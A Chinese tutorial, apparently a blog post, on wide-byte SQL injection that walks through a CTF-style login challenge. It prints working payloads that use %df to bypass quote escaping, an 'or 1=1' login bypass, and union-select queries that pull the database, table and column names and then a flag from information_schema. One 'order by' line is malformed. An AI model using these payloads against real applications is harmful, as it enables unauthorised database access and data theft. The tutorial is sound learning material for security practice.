【宽字节注入】

字符编码

url 编码

GBK编码

utf8 编码

宽字节注入

php中的转译函数

宽字节注入介绍


练习

正常输入没有回显:

cpp 复制代码
没有回显
username=admin&password=admin 

闭合单引号,依旧没有回显
username=admin' and 1=1%23&password=admin

利用宽字节尝试闭合,依旧没有回显
username=admin%df' and 1=1%23&password=admin

换成or连接,回显admin,说明数据库里面没有admin,导致前面的admin是flase,后面是true,and需要保证两个都是ture才能返回ture
username=admin%df' or 1=1%23&password=admin

下面我们之间用常规的union来获取数据,先用order by 来测试列数:

cpp 复制代码
username=admin%df' order by 4 select 1,2,3%23

报错回显了,没有那么多列数,说明只有三列:

我们接着用union来测试回显位:

cpp 复制代码
username=admin%df' union select 1,2,3%23

拿到回显列后,直接开始拿数据:

cpp 复制代码
拿库名
username=admin%df' union select 1,database(),3%23&password=admin

拿表名
username=admin%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin

拿列名 #这里的0x666c6167是flag转成16进制后的编码,因为单引号被过滤了,所以通过编码绕过
username=admin%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin

拿数据
username=admin%df' union select 1,flag,3 from flag%23&password=admin
相关推荐
fen_fen20 小时前
Oracle建表语句示例
数据库·oracle
砚边数影1 天前
数据可视化入门:Matplotlib 基础语法与折线图绘制
数据库·信息可视化·matplotlib·数据可视化·kingbase·数据库平替用金仓·金仓数据库
orange_tt1 天前
Djiango配置Celery
数据库·sqlite
云小逸1 天前
【nmap源码学习】 Nmap网络扫描工具深度解析:从基础参数到核心扫描逻辑
网络·数据库·学习
肉包_5111 天前
两个数据库互锁,用全局变量互锁会偶发软件卡死
开发语言·数据库·c++
霖霖总总1 天前
[小技巧64]深入解析 MySQL InnoDB 的 Checkpoint 机制:原理、类型与调优
数据库·mysql
此刻你1 天前
常用的 SQL 语句
数据库·sql·oracle
それども1 天前
分库分表的事务问题 - 怎么实现事务
java·数据库·mysql
·云扬·1 天前
MySQL Binlog 配置指南与核心作用解析
数据库·mysql·adb
天空属于哈夫克31 天前
Java 版:利用外部群 API 实现自动“技术开课”倒计时提醒
数据库·python·mysql